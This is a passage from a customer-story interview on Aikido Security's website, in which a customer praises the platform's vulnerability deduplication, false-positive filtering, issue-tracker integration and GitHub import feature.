Absolutely! We pride ourselves on taking security very seriously (as most companies – hopefully – do). For us, Aikido has had a tremendous impact on how we approach vulnerability management and remediation. We consider it to be our single source of truth, and the platform’s deduplication & pre-filtering of false positives features really help us see the forest through the trees. Once a real vulnerability pops up, we have a trigger appear in our issue tracker (Linear) to ensure we fix it as soon as possible. The process is pretty neat and well embedded into our development cycle, and we rely on it a lot.

What's your experience in working together with the Aikido team?

The team’s been super responsive and supportive from day 1. We’re able to share real time feedback, make requests, and receive relevant product updates through our joint Slack channel. At some point, I asked the Aikido team if they knew what they’ve gotten themselves into. We didn’t let their product team sleep once we realized we could ask all the things!

What's your favorite feature?

False-positive reduction aside, the ‘Import from GitHub’-button is very cool. I really like that all the repos automatically get assigned to a team. We can keep GitHub as the source of truth, while Aikido seamlessly maps everything out accordingly.

Any closing remarks?

We had our first penetration test and Amazon AWS security audit earlier this year, which went very well. We got nothing above a medium (and most of the mediums I didn’t entirely agree with anyway…). They probably would have found much more of interest if we hadn’t had Aikido shouting at us constantly, so thanks for that!

Customer Stories
October 10, 2024
1
Company
ProductPricingAboutCareersContactPartner with us
Resources
DocsPublic API DocsVulnerability DatabaseBlogIntegrationsGlossaryPress KitCustomer Reviews
Security
Trust CenterSecurity OverviewChange Cookie Preferences
Legal
Privacy PolicyCookie PolicyTerms of UseMaster Subscription AgreementData Processing Agreement
Use Cases
ComplianceSAST & DASTASPMVulnerability ManagementGenerate SBOMsWordPress SecuritySecure Your CodeAikido for Microsoft
Industries
For HealthTechFor MedTechFor FinTechFor SecurityTechFor LegalTechFor HRTechFor AgenciesFor EnterpriseFor PE & Group Companies
Compare
vs All Vendorsvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Connect
hello@aikido.dev
LinkedInX
Subscribe
Stay up to date with all updates
Not quite there yet.
👋🏻 Thank you! You’ve been subscribed.
Team Aikido
Not quite there yet.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Registered address: Coupure Rechts 88, 9000, Ghent, Belgium
🇪🇺 Office address: Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
🇺🇸 Office address: 95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
Compliant
ISO 27001
Compliant